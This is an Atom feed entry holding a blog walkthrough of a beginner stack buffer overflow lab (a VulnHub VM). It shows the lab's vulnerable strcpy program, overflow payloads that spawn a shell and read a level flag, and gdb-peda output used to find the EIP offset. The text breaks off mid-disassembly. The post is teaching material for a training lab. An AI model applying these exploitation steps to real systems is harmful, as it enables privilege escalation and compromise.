<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en-GB"><generator uri="https://jekyllrb.com/" version="3.9.3">Jekyll</generator><link href="https://cicadasec.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://cicadasec.com/" rel="alternate" type="text/html" hreflang="en-GB" /><updated>2023-06-02T13:26:05+01:00</updated><id>https://cicadasec.com/feed.xml</id><title type="html">CicadaSec</title><subtitle>Blog of a hacker, pentester, curious person and gym lover...</subtitle><author><name>Kr0ff</name></author><entry><title type="html">Intro to Stack Buffer Overflow</title><link href="https://cicadasec.com/introtobof" rel="alternate" type="text/html" title="Intro to Stack Buffer Overflow" /><published>2021-04-18T00:00:00+01:00</published><updated>2021-04-18T00:00:00+01:00</updated><id>https://cicadasec.com/introtostackoverflow</id><content type="html" xml:base="https://cicadasec.com/introtobof">&lt;pre style=&quot;font-size: 12.8px; color: white;display: inline-block; border:0px solid Black; background: #fffff; overflow: auto; overflow-y: hidden;&quot;&gt;&lt;code&gt;
 _____  ____  _____  _____  __ ___ _____  __ __  _____  _____  ____   _____  __  __ 
/  ___&amp;gt;/    \/  _  \/     \|  |  //  _  \/  |  \/   __\/   __\/  _/  /  _  \/   /  \
|___  |\-  -/|  _  ||  |--||  _ &amp;lt; |  |  |\  |  /|   __||   __||  |---|  |  ||  /\  |
&amp;lt;_____/ |__| \__|__/\_____/|__|__\\_____/ \___/ \_____/\__/   \_____/\_____/\__/\__/

&lt;/code&gt;
&lt;/pre&gt;

&lt;h1 id=&quot;overview&quot;&gt;Overview:&lt;/h1&gt;

&lt;p&gt;The &lt;a href=&quot;https://www.vulnhub.com/entry/stack-overflows-for-beginners-101,290/&quot; title=&quot;IntroToStackOverflow&quot;&gt;IntroToStackOverflow&lt;/a&gt; virtual machine is an introduction to exploting stack based buffer overflow vulnerability in linux x86 binaries.
The pre-compiled binaries you will find on the virtual machine are without any memory address modification prevention flags. This would mean the all memory addresses would be static and protections such as NX, ASLR, DEP, Canary, etc would not be present. After all, this is just to demonstrate the basics of exploiting stack based buffer overflows.&lt;/p&gt;

&lt;p&gt;There are 5 levels with starting level at 0 which is meant to show you how the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EIP&lt;/code&gt; register is overwritten. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EIP&lt;/code&gt; is the registry which is what will be controlled to point to the memory address which the program will execute. Therefore, execution of malicious shellcode being possible.&lt;/p&gt;

&lt;p&gt;For example, getting a reverse shell or spawning a bash shell with elevated privileges.&lt;/p&gt;

&lt;p&gt;I should say that the explanations I will provide, assume you are familiar at least to some extend with memory allocation, stack and binary exploitation.&lt;/p&gt;

&lt;h1 id=&quot;level-0---level-1&quot;&gt;Level 0 -&amp;gt; Level 1:&lt;/h1&gt;

&lt;p&gt;Level 0 is created to create an easy way to understand how the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EIP&lt;/code&gt; register gets overwritten. When the binary is executed it will assign a variable of 32 characters array which will act as the buffer. There is a statement which checks if the user input is 4 “B”s and if so then it will execute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/bin/sh&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;level0@kali:~$ cat levelOne.c&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

int main(int argc, char **argv) {

    uid_t uid = geteuid();

    setresuid(uid, uid, uid);

    long key = 0x12345678;
    char buf[32];

    strcpy(buf, argv[1]);

    printf(&quot;Buf is: %s\n&quot;, buf);
    printf(&quot;Key is: 0x%08x\n&quot;, key);

    if(key == 0x42424242) {
        execve(&quot;/bin/sh&quot;, 0, 0);
    }
    else {
        printf(&quot;%s\n&quot;, &quot;Sorry try again...&quot;);
    }

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy()&lt;/code&gt; function is used to obtain the user input and store it in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buf&lt;/code&gt; array. However, since the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy()&lt;/code&gt; function is actually problematic, it will continue to copy information infinitely to the stack therefore overflowing it.&lt;/p&gt;

&lt;p&gt;The output of the program would also display what is the value of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EIP&lt;/code&gt; register. This is rather a bonus of an easier representation of how the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EIP&lt;/code&gt; register would look in a debugger.&lt;/p&gt;

&lt;p&gt;Provide the program with 32 “A” &lt;code&gt;./levelOne AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;/code&gt;
The following output should be displayed:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;level0@kali:~&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./levelOne AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Buf is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Key is: 0x12345600
Sorry try again...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The “&lt;strong&gt;key&lt;/strong&gt;” value is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x12345600&lt;/code&gt; and is not what the program expects which should be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x42424242&lt;/code&gt;. Let’s provide 4 more “A”.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;level0@kali:~&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./levelOne AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Buf is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Key is: 0x41414141
Sorry try again...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now the key shows a result of &lt;strong&gt;AAAA&lt;/strong&gt; which the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EIP&lt;/code&gt; is pointing at. If the 4 “A”s are replaced with “B”s, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;key&lt;/code&gt; variable would be equal to if statement in the code and a shell would be dropped as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;level1&lt;/code&gt; user.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;level0@kali:~&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./levelOne AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Buf is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Key is: 0x42424242
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;id
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1001&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;level1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1000&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;level0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1000&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;level0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /home/level1/level1.txt
d13e3e4d[REDACTED]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;level-1---level-2&quot;&gt;Level 1 -&amp;gt; Level 2:&lt;/h1&gt;

&lt;p&gt;A quite use python script &lt;a href=&quot;https://github.com/longld/peda&quot;&gt;gdb-peda&lt;/a&gt; will be used throughtout this walkthrough and it intergrates with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gdb&lt;/code&gt;. Finding possible &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp&lt;/code&gt; addresses in the binaries would be simpler using gdb-peda.&lt;/p&gt;

&lt;p&gt;Follow the instructions in the github page to set up the tool.&lt;/p&gt;

&lt;p&gt;Load the compiled binary in gdb &lt;code&gt;$gdb levelTwo&lt;/code&gt;.
Now let’s show all functions that the program has.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;info functions
All defined functions:

Non-debugging symbols:
0x00001000  _init
0x00001030  setresuid@plt
0x00001040  &lt;span class=&quot;nb&quot;&gt;printf&lt;/span&gt;@plt
0x00001050  geteuid@plt
0x00001060  strcpy@plt
0x00001070  __libc_start_main@plt
0x00001080  execve@plt
0x00001090  setuid@plt
0x000010a0  __cxa_finalize@plt
0x000010b0  _start
0x000010f0  __x86.get_pc_thunk.bx
0x00001100  deregister_tm_clones
0x00001140  register_tm_clones
0x00001190  __do_global_dtors_aux
0x000011e0  frame_dummy
0x000011e5  __x86.get_pc_thunk.dx
0x000011e9  spawn
0x00001224  hello
0x00001264  main
0x000012d0  __libc_csu_init
0x00001330  __libc_csu_fini
0x00001334  _fini
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Addresses of interest are:&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;0x000011e9  spawn&lt;/li&gt;
    &lt;li&gt;0x00001224  hello&lt;/li&gt;
    &lt;li&gt;0x00001264  main&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Checking the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;spawn&lt;/code&gt; would point to couple of interesting calls. There is a call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setuid()&lt;/code&gt; which would set the UID of the user who owns the binary. The second interesting one is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve()&lt;/code&gt; which from the binary at level 0 will simply spawn &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/bin/sh&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;pd spawn
Dump of assembler code &lt;span class=&quot;k&quot;&gt;for function &lt;/span&gt;spawn:
   0x000011e9 &amp;lt;+0&amp;gt;:	push   ebp
   0x000011ea &amp;lt;+1&amp;gt;:	mov    ebp,esp
   0x000011ec &amp;lt;+3&amp;gt;:	push   ebx
   0x000011ed &amp;lt;+4&amp;gt;:	sub    esp,0x4
   0x000011f0 &amp;lt;+7&amp;gt;:	call   0x10f0 &amp;lt;__x86.get_pc_thunk.bx&amp;gt;
   0x000011f5 &amp;lt;+12&amp;gt;:	add    ebx,0x2e0b
   0x000011fb &amp;lt;+18&amp;gt;:	sub    esp,0xc
   0x000011fe &amp;lt;+21&amp;gt;:	push   0x0
-&amp;gt;   0x00001200 &amp;lt;+23&amp;gt;:	call   0x1090 &amp;lt;setuid@plt&amp;gt;
   0x00001205 &amp;lt;+28&amp;gt;:	add    esp,0x10
   0x00001208 &amp;lt;+31&amp;gt;:	sub    esp,0x4
   0x0000120b &amp;lt;+34&amp;gt;:	push   0x0
   0x0000120d &amp;lt;+36&amp;gt;:	push   0x0
   0x0000120f &amp;lt;+38&amp;gt;:	lea    eax,[ebx-0x1ff8]
   0x00001215 &amp;lt;+44&amp;gt;:	push   eax
-&amp;gt;   0x00001216 &amp;lt;+45&amp;gt;:	call   0x1080 &amp;lt;execve@plt&amp;gt;
   0x0000121b &amp;lt;+50&amp;gt;:	add    esp,0x10
   0x0000121e &amp;lt;+53&amp;gt;:	nop
   0x0000121f &amp;lt;+54&amp;gt;:	mov    ebx,DWORD PTR &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;ebp-0x4]
   0x00001222 &amp;lt;+57&amp;gt;:	leave
   0x00001223 &amp;lt;+58&amp;gt;:	ret
End of assembler dump.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Remember that after execution of the program the addresses will change due to the libraries and such being loaded.&lt;/p&gt;

&lt;p&gt;Create a cyclic pattern using gdb-peda and provide the output as the argument to the program.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;pattern_create 64
&lt;span class=&quot;s1&quot;&gt;'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'&lt;/span&gt;
gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;r &lt;span class=&quot;s1&quot;&gt;'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;----------------------------------registers-----------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
EAX: 0x47 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'G'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
EBX: 0x413b4141 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'AA;A'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
ECX: 0x1
EDX: 0xf7fa9890 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x0
ESI: 0xffffd580 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x2
EDI: 0xf7fa8000 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x1d9d6c
EBP: 0x41412941 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'A)AA'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
ESP: 0xffffd530 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;AA0AAFAAbAA1AAGAAcAA2AAH&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
-&amp;gt; EIP: 0x61414145 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'EAAa'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
EFLAGS: 0x10286 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;carry PARITY adjust zero SIGN &lt;span class=&quot;nb&quot;&gt;trap &lt;/span&gt;INTERRUPT direction overflow&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-------------------------------------code-------------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Invalid &lt;span class=&quot;nv&quot;&gt;$PC&lt;/span&gt; address: 0x61414145
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;------------------------------------stack-------------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
0000| 0xffffd530 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;AA0AAFAAbAA1AAGAAcAA2AAH&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0004| 0xffffd534 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;AFAAbAA1AAGAAcAA2AAH&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0008| 0xffffd538 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;bAA1AAGAAcAA2AAH&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0012| 0xffffd53c &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;AAGAAcAA2AAH&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0016| 0xffffd540 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;AcAA2AAH&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0020| 0xffffd544 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;2AAH&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0024| 0xffffd548 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0xffffd600 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;0cUV@D&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\3&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;76&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\3&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;67&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\f\3&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;26&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\3&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;77&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\3&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;77P&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\3&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\3&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;77&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\3&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;67&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\0&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;02&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0028| 0xffffd54c &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x3e9
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;------------------------------------------------------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
-&amp;gt; 0x61414145 &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; ?? &lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Gdb-peda will then output in a friendly way the allocation of the stack and all memory addresses in the registers. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EIP&lt;/code&gt; register is shown that is pointing to address &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x61414145&lt;/code&gt;. Since gdb-peda is able to grab the value in ASCII format in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EIP&lt;/code&gt;, it is easy to spot that the 4 bytes are likely from the cyclic pattern.&lt;/p&gt;

&lt;p&gt;Cyclic patterns are used to generate unique non-repeating values which could be easily identified when trying to find the offset.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;pattern_offset 0x61414145
1631666501 found at offset: 36
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The offset is at 36 bytes, so assuming 4 more would overwrite the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EIP&lt;/code&gt; register and make it user controllable.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;r &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;python2 &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'print &quot;A&quot; * 36 + &quot;B&quot; * 4'&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;----------------------------------registers-----------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
EAX: 0x2f &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'/'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
EBX: 0x41414141 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'AAAA'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
ECX: 0x1
EDX: 0xf7fa9890 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x0
ESI: 0xffffd5a0 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x2
EDI: 0xf7fa8000 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x1d9d6c
EBP: 0x41414141 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'AAAA'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
ESP: 0xffffd550 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0xffffd700 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x3e9
EIP: 0x42424242 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'BBBB'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
EFLAGS: 0x10282 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;carry parity adjust zero SIGN &lt;span class=&quot;nb&quot;&gt;trap &lt;/span&gt;INTERRUPT direction overflow&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-------------------------------------code-------------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Invalid &lt;span class=&quot;nv&quot;&gt;$PC&lt;/span&gt; address: 0x42424242
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;------------------------------------stack-------------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
0000| 0xffffd550 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0xffffd700 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x3e9
0004| 0xffffd554 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x3e9
0008| 0xffffd558 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x3e9
0012| 0xffffd55c &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x56556289 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&amp;lt;main+37&amp;gt;:	mov    DWORD PTR &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;ebp-0x1c],eax&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0016| 0xffffd560 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0xf7fa83fc &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0xf7fa9200 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x0
0020| 0xffffd564 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x56559000 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x3efc
0024| 0xffffd568 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0xffffd640 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0xffffd7af &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;SHELL=/bin/bash&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0028| 0xffffd56c &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x3e9
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;------------------------------------------------------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; ?? &lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Providing 4 more bytes of B character, shows that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EIP&lt;/code&gt; is controllable at 40 bytes.&lt;/p&gt;

&lt;p&gt;Run the program once inside gdb-peda and crash it, then obtain the address of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;spawn&lt;/code&gt; function.
The address should be as follows after the first run of the program.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;pd spawn
Dump of assembler code &lt;span class=&quot;k&quot;&gt;for function &lt;/span&gt;spawn:
   0x565561e9 &amp;lt;+0&amp;gt;:	push   ebp
   0x565561ea &amp;lt;+1&amp;gt;:	mov    ebp,esp
   0x565561ec &amp;lt;+3&amp;gt;:	push   ebx
   0x565561ed &amp;lt;+4&amp;gt;:	sub    esp,0x4
   0x565561f0 &amp;lt;+7&amp;gt;:	call   0x565560f0 &amp;lt;__x86.get_pc_thunk.bx&amp;gt;
   0x565561f5 &amp;lt;+12&amp;gt;:	add    ebx,0x2e0b
   0x565561fb &amp;lt;+18&amp;gt;:	sub    esp,0xc
   0x565561fe &amp;lt;+21&amp;gt;:	push   0x0
   0x56556200 &amp;lt;+23&amp;gt;:	call   0x56556090 &amp;lt;setuid@plt&amp;gt;
   0x56556205 &amp;lt;+28&amp;gt;:	add    esp,0x10
